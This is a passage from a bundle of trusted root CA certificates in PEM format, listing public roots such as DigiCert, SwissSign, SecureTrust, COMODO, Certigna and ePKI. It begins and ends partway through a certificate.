YXRlIGNvbnN0aXR1dGVzIGFjY2VwdGFuY2Ugb2YgdGhlIFF1b1ZhZGlzIFJvb3QgQ0EgMyBDZXJ0
aWZpY2F0ZSBQb2xpY3kgLyBDZXJ0aWZpY2F0aW9uIFByYWN0aWNlIFN0YXRlbWVudC4wLQYIKwYB
BQUHAgEWIWh0dHA6Ly93d3cucXVvdmFkaXNnbG9iYWwuY29tL2NwczALBgNVHQ8EBAMCAQYwHQYD
VR0OBBYEFPLAE+CCQz777i9nMpY1XNu4ywLQMG4GA1UdIwRnMGWAFPLAE+CCQz777i9nMpY1XNu4
ywLQoUmkRzBFMQswCQYDVQQGEwJCTTEZMBcGA1UEChMQUXVvVmFkaXMgTGltaXRlZDEbMBkGA1UE
AxMSUXVvVmFkaXMgUm9vdCBDQSAzggIFxjANBgkqhkiG9w0BAQUFAAOCAgEAT62gLEz6wPJv92ZV
qyM07ucp2sNbtrCD2dDQ4iH782CnO11gUyeim/YIIirnv6By5ZwkajGxkHon24QRiSemd1o417+s
hvzuXYO8BsbRd2sPbSQvS3pspweWyuOEn62Iix2rFo1bZhfZFvSLgNLd+LJ2w/w4E6oM3kJpK27z
POuAJ9v1pkQNn1pVWQvVDVJIxa6f8i+AxeoyUDUSly7B4f/xI4hROJ/yZlZ25w9Rl6VSDE1JUZU2
Pb+iSwwQHYaZTKrzchGT5Or2m9qoXadNt54CrnMAyNojA+j56hl0YgCUyyIgvpSnWbWCar6ZeXqp
8kokUvd0/bpO5qgdAm6xDYBEwa7TIzdfu4V8K5Iu6H6li92Z4b8nby1dqnuH/grdS/yO9SbkbnBC
bjPsMZ57k8HkyWkaPcBrTiJt7qtYTcbQQcEr6k8Sh17rRdhs9ZgC06DYVYoGmRmioHfRMJ6szHXu
g/WwYjnPbFfiTNKRCw51KBuav/0aQ/HKd/s7j2G4aSgWQgRecCocIdiP4b0jWy10QJLZYxkNc91p
vGJHvOB0K7Lrfb5BG7XARsWhIstfTsEokt4YutUqKLsRixeTmJlglFwjz1onl14LBQaTNx47aTbr
qZ5hHY8y2o4M1nQ+ewkk2gF3R8Q7zTSMmfXK4SVhM7JZG+Ju1zdXtg2pEto=
-----END CERTIFICATE-----

DigiCert Assured ID Root CA
===========================
-----BEGIN CERTIFICATE-----
MIIDtzCCAp+gAwIBAgIQDOfg5RfYRv6P5WD8G/AwOTANBgkqhkiG9w0BAQUFADBlMQswCQYDVQQG
EwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3d3cuZGlnaWNlcnQuY29tMSQw
IgYDVQQDExtEaWdpQ2VydCBBc3N1cmVkIElEIFJvb3QgQ0EwHhcNMDYxMTEwMDAwMDAwWhcNMzEx
MTEwMDAwMDAwWjBlMQswCQYDVQQGEwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQL
ExB3d3cuZGlnaWNlcnQuY29tMSQwIgYDVQQDExtEaWdpQ2VydCBBc3N1cmVkIElEIFJvb3QgQ0Ew
ggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCtDhXO5EOAXLGH87dg+XESpa7cJpSIqvTO
9SA5KFhgDPiA2qkVlTJhPLWxKISKityfCgyDF3qPkKyK53lTXDGEKvYPmDI2dsze3Tyoou9q+yHy
UmHfnyDXH+Kx2f4YZNISW1/5WBg1vEfNoTb5a3/UsDg+wRvDjDPZ2C8Y/igPs6eD1sNuRMBhNZYW
/lmci3Zt1/GiSw0r/wty2p5g0I6QNcZ4VYcgoc/lbQrISXwxmDNsIumH0DJaoroTghHtORedmTpy
oeb6pNnVFzF1roV9Iq4/AUaG9ih5yLHa5FcXxH4cDrC0kqZWs72yl+2qp/C3xag/lRbQ/6GW6whf
GHdPAgMBAAGjYzBhMA4GA1UdDwEB/wQEAwIBhjAPBgNVHRMBAf8EBTADAQH/MB0GA1UdDgQWBBRF
66Kv9JLLgjEtUYunpyGd823IDzAfBgNVHSMEGDAWgBRF66Kv9JLLgjEtUYunpyGd823IDzANBgkq
hkiG9w0BAQUFAAOCAQEAog683+Lt8ONyc3pklL/3cmbYMuRCdWKuh+vy1dneVrOfzM4UKLkNl2Bc
EkxY5NM9g0lFWJc1aRqoR+pWxnmrEthngYTffwk8lOa4JiwgvT2zKIn3X/8i4peEH+ll74fg38Fn
SbNd67IJKusm7Xi+fT8r87cmNW1fiQG2SVufAQWbqz0lwcy2f8Lxb4bG+mRo64EtlOtCt/qMHt1i
8b5QZ7dsvfPxH2sMNgcWfzd8qVttevESRmCD1ycEvkvOl77DZypoEd+A5wwzZr8TDRRu838fYxAe
+o0bJW1sj6W3YQGx0qMmoRBxna3iw/nDmVG3KwcIzi7mULKn+gpFL6Lw8g==
-----END CERTIFICATE-----

DigiCert Global Root CA
=======================
-----BEGIN CERTIFICATE-----
MIIDrzCCApegAwIBAgIQCDvgVpBCRrGhdWrJWZHHSjANBgkqhkiG9w0BAQUFADBhMQswCQYDVQQG
EwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3d3cuZGlnaWNlcnQuY29tMSAw
HgYDVQQDExdEaWdpQ2VydCBHbG9iYWwgUm9vdCBDQTAeFw0wNjExMTAwMDAwMDBaFw0zMTExMTAw
MDAwMDBaMGExCzAJBgNVBAYTAlVTMRUwEwYDVQQKEwxEaWdpQ2VydCBJbmMxGTAXBgNVBAsTEHd3
dy5kaWdpY2VydC5jb20xIDAeBgNVBAMTF0RpZ2lDZXJ0IEdsb2JhbCBSb290IENBMIIBIjANBgkq
hkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA4jvhEXLeqKTTo1eqUKKPC3eQyaKl7hLOllsBCSDMAZOn
TjC3U/dDxGkAV53ijSLdhwZAAIEJzs4bg7/fzTtxRuLWZscFs3YnFo97nh6Vfe63SKMI2tavegw5
BmV/Sl0fvBf4q77uKNd0f3p4mVmFaG5cIzJLv07A6Fpt43C/dxC//AH2hdmoRBBYMql1GNXRor5H
4idq9Joz+EkIYIvUX7Q6hL+hqkpMfT7PT19sdl6gSzeRntwi5m3OFBqOasv+zbMUZBfHWymeMr/y
7vrTC0LUq7dBMtoM1O/4gdW7jVg/tRvoSSiicNoxBN33shbyTApOB6jtSj1etX+jkMOvJwIDAQAB
o2MwYTAOBgNVHQ8BAf8EBAMCAYYwDwYDVR0TAQH/BAUwAwEB/zAdBgNVHQ4EFgQUA95QNVbRTLtm
8KPiGxvDl7I90VUwHwYDVR0jBBgwFoAUA95QNVbRTLtm8KPiGxvDl7I90VUwDQYJKoZIhvcNAQEF
BQADggEBAMucN6pIExIK+t1EnE9SsPTfrgT1eXkIoyQY/EsrhMAtudXH/vTBH1jLuG2cenTnmCmr
EbXjcKChzUyImZOMkXDiqw8cvpOp/2PV5Adg06O/nVsJ8dWO41P0jmP6P6fbtGbfYmbW0W5BjfIt
tep3Sp+dWOIrWcBAI+0tKIJFPnlUkiaY4IBIqDfv8NZ5YBberOgOzW6sRBc4L0na4UU+Krk2U886
UAb3LujEV0lsYSEY1QSteDwsOoBrp+uvFRTp2InBuThs4pFsiv9kuXclVzDAGySj4dzp30d8tbQk
CAUw7C29C79Fv1C5qfPrmAESrciIxpg0X40KPMbp1ZWVbd4=
-----END CERTIFICATE-----

DigiCert High Assurance EV Root CA
==================================
-----BEGIN CERTIFICATE-----
MIIDxTCCAq2gAwIBAgIQAqxcJmoLQJuPC3nyrkYldzANBgkqhkiG9w0BAQUFADBsMQswCQYDVQQG
EwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3d3cuZGlnaWNlcnQuY29tMSsw
KQYDVQQDEyJEaWdpQ2VydCBIaWdoIEFzc3VyYW5jZSBFViBSb290IENBMB4XDTA2MTExMDAwMDAw
MFoXDTMxMTExMDAwMDAwMFowbDELMAkGA1UEBhMCVVMxFTATBgNVBAoTDERpZ2lDZXJ0IEluYzEZ
MBcGA1UECxMQd3d3LmRpZ2ljZXJ0LmNvbTErMCkGA1UEAxMiRGlnaUNlcnQgSGlnaCBBc3N1cmFu
Y2UgRVYgUm9vdCBDQTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAMbM5XPm+9S75S0t
Mqbf5YE/yc0lSbZxKsPVlDRnogocsF9ppkCxxLeyj9CYpKlBWTrT3JTWPNt0OKRKzE0lgvdKpVMS
OO7zSW1xkX5jtqumX8OkhPhPYlG++MXs2ziS4wblCJEMxChBVfvLWokVfnHoNb9Ncgk9vjo4UFt3
MRuNs8ckRZqnrG0AFFoEt7oT61EKmEFBIk5lYYeBQVCmeVyJ3hlKV9Uu5l0cUyx+mM0aBhakaHPQ
NAQTXKFx01p8VdteZOE3hzBWBOURtCmAEvF5OYiiAhF8J2a3iLd48soKqDirCmTCv2ZdlYTBoSUe
h10aUAsgEsxBu24LUTi4S8sCAwEAAaNjMGEwDgYDVR0PAQH/BAQDAgGGMA8GA1UdEwEB/wQFMAMB
Af8wHQYDVR0OBBYEFLE+w2kD+L9HAdSYJhoIAu9jZCvDMB8GA1UdIwQYMBaAFLE+w2kD+L9HAdSY
JhoIAu9jZCvDMA0GCSqGSIb3DQEBBQUAA4IBAQAcGgaX3NecnzyIZgYIVyHbIUf4KmeqvxgydkAQ
V8GK83rZEWWONfqe/EW1ntlMMUu4kehDLI6zeM7b41N5cdblIZQB2lWHmiRk9opmzN6cN82oNLFp
myPInngiK3BD41VHMWEZ71jFhS9OMPagMRYjyOfiZRYzy78aG6A9+MpeizGLYAiJLQwGXFK3xPkK
mNEVX58Svnw2Yzi9RKR/5CYrCsSXaQ3pjOLAEFe4yHYSkVXySGnYvCoCWw9E1CAx2/S6cCZdkGCe
vEsXCS+0yx5DaMkHJ8HSXPfqIbloEpw8nL+e/IBcm2PN7EeqJSdnoDfzAIJ9VNep+OkuE6N36B9K
-----END CERTIFICATE-----

SwissSign Gold CA - G2
======================
-----BEGIN CERTIFICATE-----
MIIFujCCA6KgAwIBAgIJALtAHEP1Xk+wMA0GCSqGSIb3DQEBBQUAMEUxCzAJBgNVBAYTAkNIMRUw
EwYDVQQKEwxTd2lzc1NpZ24gQUcxHzAdBgNVBAMTFlN3aXNzU2lnbiBHb2xkIENBIC0gRzIwHhcN
MDYxMDI1MDgzMDM1WhcNMzYxMDI1MDgzMDM1WjBFMQswCQYDVQQGEwJDSDEVMBMGA1UEChMMU3dp
c3NTaWduIEFHMR8wHQYDVQQDExZTd2lzc1NpZ24gR29sZCBDQSAtIEcyMIICIjANBgkqhkiG9w0B
AQEFAAOCAg8AMIICCgKCAgEAr+TufoskDhJuqVAtFkQ7kpJcyrhdhJJCEyq8ZVeCQD5XJM1QiyUq
t2/876LQwB8CJEoTlo8jE+YoWACjR8cGp4QjK7u9lit/VcyLwVcfDmJlD909Vopz2q5+bbqBHH5C
jCA12UNNhPqE21Is8w4ndwtrvxEvcnifLtg+5hg3Wipy+dpikJKVyh+c6bM8K8vzARO/Ws/BtQpg
vd21mWRTuKCWs2/iJneRjOBiEAKfNA+k1ZIzUd6+jbqEemA8atufK+ze3gE/bk3lUIbLtK/tREDF
ylqM2tIrfKjuvqblCqoOpd8FUrdVxyJdMmqXl2MT28nbeTZ7hTpKxVKJ+STnnXepgv9VHKVxaSvR
AiTysybUa9oEVeXBCsdtMDeQKuSeFDNeFhdVxVu1yzSJkvGdJo+hB9TGsnhQ2wwMC3wLjEHXuend
jIj3o02yMszYF9rNt85mndT9Xv+9lz4pded+p2JYryU0pUHHPbwNUMoDAw8IWh+Vc3hiv69yFGkO
peUDDniOJihC8AcLYiAQZzlG+qkDzAQ4embvIIO1jEpWjpEA/I5cgt6IoMPiaG59je883WX0XaxR
7ySArqpWl2/5rX3aYT+YdzylkbYcjCbaZaIJbcHiVOO5ykxMgI93e2CaHt+28kgeDrpOVG2Y4OGi
GqJ3UM/EY5LsRxmd6+ZrzsECAwEAAaOBrDCBqTAOBgNVHQ8BAf8EBAMCAQYwDwYDVR0TAQH/BAUw
AwEB/zAdBgNVHQ4EFgQUWyV7lqRlUX64OfPAeGZe6Drn8O4wHwYDVR0jBBgwFoAUWyV7lqRlUX64
OfPAeGZe6Drn8O4wRgYDVR0gBD8wPTA7BglghXQBWQECAQEwLjAsBggrBgEFBQcCARYgaHR0cDov
L3JlcG9zaXRvcnkuc3dpc3NzaWduLmNvbS8wDQYJKoZIhvcNAQEFBQADggIBACe645R88a7A3hfm
5djV9VSwg/S7zV4Fe0+fdWavPOhWfvxyeDgD2StiGwC5+OlgzczOUYrHUDFu4Up+GC9pWbY9ZIEr
44OE5iKHjn3g7gKZYbge9LgriBIWhMIxkziWMaa5O1M/wySTVltpkuzFwbs4AOPsF6m43Md8AYOf
Mke6UiI0HTJ6CVanfCU2qT1L2sCCbwq7EsiHSycR+R4tx5M/nttfJmtS2S6K8RTGRI0Vqbe/vd6m
Gu6uLftIdxf+u+yvGPUqUfA5hJeVbG4bwyvEdGB5JbAKJ9/fXtI5z0V9QkvfsywexcZdylU6oJxp
mo/a77KwPJ+HbBIrZXAVUjEaJM9vMSNQH4xPjyPDdEFjHFWoFN0+4FFQz/EbMFYOkrCChdiDyyJk
vC24JdVUorgG6q2SpCSgwYa1ShNqR88uC1aVVMvOmttqtKay20EIhid392qgQmwLOM7XdVAyksLf
KzAiSNDVQTglXaTpXZ/GlHXQRf0wl0OPkKsKx4ZzYEppLd6leNcG2mqeSz53OiATIgHQv2ieY2Br
NU0LbbqhPcCT4H8js1WtciVORvnSFu+wZMEBnunKoGqYDs/YYPIvSbjkQuE4NRb0yG5P94FW6Lqj
viOvrv1vA+ACOzB2+httQc8Bsem4yWb02ybzOqR08kkkW8mw0FfB+j564ZfJ
-----END CERTIFICATE-----

SecureTrust CA
==============
-----BEGIN CERTIFICATE-----
MIIDuDCCAqCgAwIBAgIQDPCOXAgWpa1Cf/DrJxhZ0DANBgkqhkiG9w0BAQUFADBIMQswCQYDVQQG
EwJVUzEgMB4GA1UEChMXU2VjdXJlVHJ1c3QgQ29ycG9yYXRpb24xFzAVBgNVBAMTDlNlY3VyZVRy
dXN0IENBMB4XDTA2MTEwNzE5MzExOFoXDTI5MTIzMTE5NDA1NVowSDELMAkGA1UEBhMCVVMxIDAe
BgNVBAoTF1NlY3VyZVRydXN0IENvcnBvcmF0aW9uMRcwFQYDVQQDEw5TZWN1cmVUcnVzdCBDQTCC
ASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAKukgeWVzfX2FI7CT8rU4niVWJxB4Q2ZQCQX
OZEzZum+4YOvYlyJ0fwkW2Gz4BERQRwdbvC4u/jep4G6pkjGnx29vo6pQT64lO0pGtSO0gMdA+9t
DWccV9cGrcrI9f4Or2YlSASWC12juhbDCE/RRvgUXPLIXgGZbf2IzIaowW8xQmxSPmjL8xk037uH
GFaAJsTQ3MBv396gwpEWoGQRS0S8Hvbn+mPeZqx2pHGj7DaUaHp3pLHnDi+BeuK1cobvomuL8A/b
01k/unK8RCSc43Oz969XL0Imnal0ugBS8kvNU3xHCzaFDmapCJcWNFfBZveA4+1wVMeT4C4oFVmH
ursCAwEAAaOBnTCBmjATBgkrBgEEAYI3FAIEBh4EAEMAQTALBgNVHQ8EBAMCAYYwDwYDVR0TAQH/
BAUwAwEB/zAdBgNVHQ4EFgQUQjK2FvoE/f5dS3rD/fdMQB1aQ68wNAYDVR0fBC0wKzApoCegJYYj
aHR0cDovL2NybC5zZWN1cmV0cnVzdC5jb20vU1RDQS5jcmwwEAYJKwYBBAGCNxUBBAMCAQAwDQYJ
KoZIhvcNAQEFBQADggEBADDtT0rhWDpSclu1pqNlGKa7UTt36Z3q059c4EVlew3KW+JwULKUBRSu
SceNQQcSc5R+DCMh/bwQf2AQWnL1mA6s7Ll/3XpvXdMc9P+IBWlCqQVxyLesJugutIxq/3HcuLHf
mbx8IVQr5Fiiu1cprp6poxkmD5kuCLDv/WnPmRoJjeOnnyvJNjR7JLN4TJUXpAYmHrZkUjZfYGfZ
nMUFdAvnZyPSCPyI6a6Lf+Ew9Dd+/cYy2i2eRDAwbO4H3tI0/NL/QPZL9GZGBlSm8jIKYyYwa5vR
3ItHuuG51WLQoqD0ZwV4KWMabwTW+MZMo5qxN7SN5ShLHZ4swrhovO0C7jE=
-----END CERTIFICATE-----

Secure Global CA
================
-----BEGIN CERTIFICATE-----
MIIDvDCCAqSgAwIBAgIQB1YipOjUiolN9BPI8PjqpTANBgkqhkiG9w0BAQUFADBKMQswCQYDVQQG
EwJVUzEgMB4GA1UEChMXU2VjdXJlVHJ1c3QgQ29ycG9yYXRpb24xGTAXBgNVBAMTEFNlY3VyZSBH
bG9iYWwgQ0EwHhcNMDYxMTA3MTk0MjI4WhcNMjkxMjMxMTk1MjA2WjBKMQswCQYDVQQGEwJVUzEg
MB4GA1UEChMXU2VjdXJlVHJ1c3QgQ29ycG9yYXRpb24xGTAXBgNVBAMTEFNlY3VyZSBHbG9iYWwg
Q0EwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCvNS7YrGxVaQZx5RNoJLNP2MwhR/jx
YDiJiQPpvepeRlMJ3Fz1Wuj3RSoC6zFh1ykzTM7HfAo3fg+6MpjhHZevj8fcyTiW89sa/FHtaMbQ
bqR8JNGuQsiWUGMu4P51/pinX0kuleM5M2SOHqRfkNJnPLLZ/kG5VacJjnIFHovdRIWCQtBJwB1g
8NEXLJXr9qXBkqPFwqcIYA1gBBCWeZ4WNOaptvolRTnIHmX5k/Wq8VLcmZg9pYYaDDUz+kulBAYV
HDGA76oYa8J719rO+TMg1fW9ajMtgQT7sFzUnKPiXB3jqUJ1XnvUd+85VLrJChgbEplJL4hL/VBi
0XPnj3pDAgMBAAGjgZ0wgZowEwYJKwYBBAGCNxQCBAYeBABDAEEwCwYDVR0PBAQDAgGGMA8GA1Ud
EwEB/wQFMAMBAf8wHQYDVR0OBBYEFK9EBMJBfkiD2045AuzshHrmzsmkMDQGA1UdHwQtMCswKaAn
oCWGI2h0dHA6Ly9jcmwuc2VjdXJldHJ1c3QuY29tL1NHQ0EuY3JsMBAGCSsGAQQBgjcVAQQDAgEA
MA0GCSqGSIb3DQEBBQUAA4IBAQBjGghAfaReUw132HquHw0LURYD7xh8yOOvaliTFGCRsoTciE6+
OYo68+aCiV0BN7OrJKQVDpI1WkpEXk5X+nXOH0jOZvQ8QCaSmGwb7iRGDBezUqXbpZGRzzfTb+cn
CDpOGR86p1hcF895P4vkp9MmI50mD1hp/Ed+stCNi5O/KU9DaXR2Z0vPB4zmAve14bRDtUstFJ/5
3CYNv6ZHdAbYiNE6KTCEztI5gGIbqMdXSbxqVVFnFUq+NQfk1XWYN3kwFNspnWzFacxHVaIw98xc
f8LDmBxrThaA63p4ZUWiABqvDA1VZDRIuJK58bRQKfJPIx/abKwfROHdI3hRW8cW
-----END CERTIFICATE-----

COMODO Certification Authority
==============================
-----BEGIN CERTIFICATE-----
MIIEHTCCAwWgAwIBAgIQToEtioJl4AsC7j41AkblPTANBgkqhkiG9w0BAQUFADCBgTELMAkGA1UE
BhMCR0IxGzAZBgNVBAgTEkdyZWF0ZXIgTWFuY2hlc3RlcjEQMA4GA1UEBxMHU2FsZm9yZDEaMBgG
A1UEChMRQ09NT0RPIENBIExpbWl0ZWQxJzAlBgNVBAMTHkNPTU9ETyBDZXJ0aWZpY2F0aW9uIEF1
dGhvcml0eTAeFw0wNjEyMDEwMDAwMDBaFw0yOTEyMzEyMzU5NTlaMIGBMQswCQYDVQQGEwJHQjEb
MBkGA1UECBMSR3JlYXRlciBNYW5jaGVzdGVyMRAwDgYDVQQHEwdTYWxmb3JkMRowGAYDVQQKExFD
T01PRE8gQ0EgTGltaXRlZDEnMCUGA1UEAxMeQ09NT0RPIENlcnRpZmljYXRpb24gQXV0aG9yaXR5
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA0ECLi3LjkRv3UcEbVASY06m/weaKXTuH
+7uIzg3jLz8GlvCiKVCZrts7oVewdFFxze1CkU1B/qnI2GqGd0S7WWaXUF601CxwRM/aN5VCaTww
xHGzUvAhTaHYujl8HJ6jJJ3ygxaYqhZ8Q5sVW7euNJH+1GImGEaaP+vB+fGQV+useg2L23IwambV
4EajcNxo2f8ESIl33rXp+2dtQem8Ob0y2WIC8bGoPW43nOIv4tOiJovGuFVDiOEjPqXSJDlqR6sA
1KGzqSX+DT+nHbrTUcELpNqsOO9VUCQFZUaTNE8tja3G1CEZ0o7KBWFxB3NH5YoZEr0ETc5OnKVI
rLsm9wIDAQABo4GOMIGLMB0GA1UdDgQWBBQLWOWLxkwVN6RAqTCpIb5HNlpW/zAOBgNVHQ8BAf8E
BAMCAQYwDwYDVR0TAQH/BAUwAwEB/zBJBgNVHR8EQjBAMD6gPKA6hjhodHRwOi8vY3JsLmNvbW9k
b2NhLmNvbS9DT01PRE9DZXJ0aWZpY2F0aW9uQXV0aG9yaXR5LmNybDANBgkqhkiG9w0BAQUFAAOC
AQEAPpiem/Yb6dc5t3iuHXIYSdOH5EOC6z/JqvWote9VfCFSZfnVDeFs9D6Mk3ORLgLETgdxb8CP
OGEIqB6BCsAvIC9Bi5HcSEW88cbeunZrM8gALTFGTO3nnc+IlP8zwFboJIYmuNg4ON8qa90SzMc/
RxdMosIGlgnW2/4/PEZB31jiVg88O8EckzXZOFKs7sjsLjBOlDW0JB9LeGna8gI4zJVSk/BwJVmc
IGfE7vmLV2H0knZ9P4SNVbfo5azV8fUZVqZa+5Acr5Pr5RzUZ5ddBA6+C4OmF4O5MBKgxTMVBbkN
+8cFduPYSo38NBejxiEovjBFMR7HeL5YYTisO+IBZQ==
-----END CERTIFICATE-----

COMODO ECC Certification Authority
==================================
-----BEGIN CERTIFICATE-----
MIICiTCCAg+gAwIBAgIQH0evqmIAcFBUTAGem2OZKjAKBggqhkjOPQQDAzCBhTELMAkGA1UEBhMC
R0IxGzAZBgNVBAgTEkdyZWF0ZXIgTWFuY2hlc3RlcjEQMA4GA1UEBxMHU2FsZm9yZDEaMBgGA1UE
ChMRQ09NT0RPIENBIExpbWl0ZWQxKzApBgNVBAMTIkNPTU9ETyBFQ0MgQ2VydGlmaWNhdGlvbiBB
dXRob3JpdHkwHhcNMDgwMzA2MDAwMDAwWhcNMzgwMTE4MjM1OTU5WjCBhTELMAkGA1UEBhMCR0Ix
GzAZBgNVBAgTEkdyZWF0ZXIgTWFuY2hlc3RlcjEQMA4GA1UEBxMHU2FsZm9yZDEaMBgGA1UEChMR
Q09NT0RPIENBIExpbWl0ZWQxKzApBgNVBAMTIkNPTU9ETyBFQ0MgQ2VydGlmaWNhdGlvbiBBdXRo
b3JpdHkwdjAQBgcqhkjOPQIBBgUrgQQAIgNiAAQDR3svdcmCFYX7deSRFtSrYpn1PlILBs5BAH+X
4QokPB0BBO490o0JlwzgdeT6+3eKKvUDYEs2ixYjFq0JcfRK9ChQtP6IHG4/bC8vCVlbpVsLM5ni
wz2J+Wos77LTBumjQjBAMB0GA1UdDgQWBBR1cacZSBm8nZ3qQUfflMRId5nTeTAOBgNVHQ8BAf8E
BAMCAQYwDwYDVR0TAQH/BAUwAwEB/zAKBggqhkjOPQQDAwNoADBlAjEA7wNbeqy3eApyt4jf/7VG
FAkK+qDmfQjGGoe9GKhzvSbKYAydzpmfz1wPMOG+FDHqAjAU9JM8SaczepBGR7NjfRObTrdvGDeA
U/7dIOA1mjbRxwG55tzd8/8dLDoWV9mSOdY=
-----END CERTIFICATE-----

Certigna
========
-----BEGIN CERTIFICATE-----
MIIDqDCCApCgAwIBAgIJAP7c4wEPyUj/MA0GCSqGSIb3DQEBBQUAMDQxCzAJBgNVBAYTAkZSMRIw
EAYDVQQKDAlEaGlteW90aXMxETAPBgNVBAMMCENlcnRpZ25hMB4XDTA3MDYyOTE1MTMwNVoXDTI3
MDYyOTE1MTMwNVowNDELMAkGA1UEBhMCRlIxEjAQBgNVBAoMCURoaW15b3RpczERMA8GA1UEAwwI
Q2VydGlnbmEwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDIaPHJ1tazNHUmgh7stL7q
XOEm7RFHYeGifBZ4QCHkYJ5ayGPhxLGWkv8YbWkj4Sti993iNi+RB7lIzw7sebYs5zRLcAglozyH
GxnygQcPOJAZ0xH+hrTy0V4eHpbNgGzOOzGTtvKg0KmVEn2lmsxryIRWijOp5yIVUxbwzBfsV1/p
ogqYCd7jX5xv3EjjhQsVWqa6n6xI4wmy9/Qy3l40vhx4XUJbzg4ij02Q130yGLMLLGq/jj8UEYkg
DncUtT2UCIf3JR7VsmAA7G8qKCVuKj4YYxclPz5EIBb2JsglrgVKtOdjLPOMFlN+XPsRGgjBRmKf
Irjxwo1p3Po6WAbfAgMBAAGjgbwwgbkwDwYDVR0TAQH/BAUwAwEB/zAdBgNVHQ4EFgQUGu3+QTmQ
tCRZvgHyUtVF9lo53BEwZAYDVR0jBF0wW4AUGu3+QTmQtCRZvgHyUtVF9lo53BGhOKQ2MDQxCzAJ
BgNVBAYTAkZSMRIwEAYDVQQKDAlEaGlteW90aXMxETAPBgNVBAMMCENlcnRpZ25hggkA/tzjAQ/J
SP8wDgYDVR0PAQH/BAQDAgEGMBEGCWCGSAGG+EIBAQQEAwIABzANBgkqhkiG9w0BAQUFAAOCAQEA
hQMeknH2Qq/ho2Ge6/PAD/Kl1NqV5ta+aDY9fm4fTIrv0Q8hbV6lUmPOEvjvKtpv6zf+EwLHyzs+
ImvaYS5/1HI93TDhHkxAGYwP15zRgzB7mFncfca5DClMoTOi62c6ZYTTluLtdkVwj7Ur3vkj1klu
PBS1xp81HlDQwY9qcEQCYsuuHWhBp6pX6FOqB9IG9tUUBguRA3UsbHK1YZWaDYu5Def131TN3ubY
1gkIl2PlwS6wt0QmwCbAr1UwnjvVNioZBPRcHv/PLLf/0P2HQBHVESO7SMAhqaQoLf0V+LBOK/Qw
WyH8EZE0vkHve52Xdf+XlcCWWC/qu0bXu+TZLg==
-----END CERTIFICATE-----

ePKI Root Certification Authority
=================================
-----BEGIN CERTIFICATE-----
MIIFsDCCA5igAwIBAgIQFci9ZUdcr7iXAF7kBtK8nTANBgkqhkiG9w0BAQUFADBeMQswCQYDVQQG
EwJUVzEjMCEGA1UECgwaQ2h1bmdod2EgVGVsZWNvbSBDby4sIEx0ZC4xKjAoBgNVBAsMIWVQS0kg
Um9vdCBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTAeFw0wNDEyMjAwMjMxMjdaFw0zNDEyMjAwMjMx
MjdaMF4xCzAJBgNVBAYTAlRXMSMwIQYDVQQKDBpDaHVuZ2h3YSBUZWxlY29tIENvLiwgTHRkLjEq
MCgGA1UECwwhZVBLSSBSb290IENlcnRpZmljYXRpb24gQXV0aG9yaXR5MIICIjANBgkqhkiG9w0B
AQEFAAOCAg8AMIICCgKCAgEA4SUP7o3biDN1Z82tH306Tm2d0y8U82N0ywEhajfqhFAHSyZbCUNs
IZ5qyNUD9WBpj8zwIuQf5/dqIjG3LBXy4P4AakP/h2XGtRrBp0xtInAhijHyl3SJCRImHJ7K2RKi
lTza6We/CKBk49ZCt0Xvl/T29de1ShUCWH2YWEtgvM3XDZoTM1PRYfl61dd4s5oz9wCGzh1NlDiv
qOx4UXCKXBCDUSH3ET00hl7lSM2XgYI1TBnsZfZrxQWh7kcT1rMhJ5QQCtkkO7q+RBNGMD+XPNjX
12ruOzjjK9SXDrkb5wdJfzcq+Xd4z1TtW0ado4AOkUPB1ltfFLqfpo0kR0BZv3I4sjZsN/+Z0V0O
WQqraffAsgRFelQArr5T9rXn4fg8ozHSqf4hUmTFpmfwdQcGlBSBVcYn5AGPF8Fqcde+S/uUWH1+
ETOxQvdibBjWzwloPn9s9h6PYq2lY9sJpx8iQkEeb5mKPtf5P0B6ebClAZLSnT0IFaUQAS2zMnao
lQ2zepr7BxB4EW/hj8e6DyUadCrlHJhBmd8hh+iVBmoKs2pHdmX2Os+PYhcZewoozRrSgx4hxyy/
vv9haLdnG7t4TY3OZ+XkwY63I2binZB1NJipNiuKmpS5nezMirH4JYlcWrYvjB9teSSnUmjDhDXi
Zo1jDiVN1Rmy5nk3pyKdVDECAwEAAaNqMGgwHQYDVR0OBBYEFB4M97Zn8uGSJglFwFU5Lnc/Qkqi
MAwGA1UdEwQFMAMBAf8wOQYEZyoHAAQxMC8wLQIBADAJBgUrDgMCGgUAMAcGBWcqAwAABBRFsMLH
ClZ87lt4DJX5GFPBphzYEDANBgkqhkiG9w0BAQUFAAOCAgEACbODU1kBPpVJufGBuvl2ICO1J2B0
1GqZNF5sAFPZn/KmsSQHRGoqxqWOeBLoR9lYGxMqXnmbnwoqZ6YlPwZpVnPDimZI+ymBV3QGypzq
KOg4ZyYr8dW1P2WT+DZdjo2NQCCHGervJ8A9tDkPJXtoUHRVnAxZfVo9QZQlUgjgRywVMRnVvwdV
xrsStZf0X4OFunHB2WyBEXYKCrC/gpf36j36+uwtqSiUO1bd0lEursC9CBWMd1I0ltabrNMdjmEP
NXubrjlpC2JgQCA2j6/7Nu4tCEoduL+bXPjqpRugc6bY+G7gMwRfaKonh+3ZwZCc7b3jajWvY9+r
GNm65ulK6lCKD2GTHuItGeIwlDWSXQ62B68ZgI9HkFFLLk3dheLSClIKF5r8GrBQAuUBo2M3IUxE
xJtRmREOc5wGj1QupyheRDmHVi03vYVElOEMSyycw5KFNGHLD7ibSkNS/jQ6fbjpKdx2qcgw+BRx
gMYeNkh0IkFch4LoGHGLQYlE535YW6i4jRPpp2zDR+2zGp1iro2C6pSe3VkQw63d4k3jMdXH7Ojy
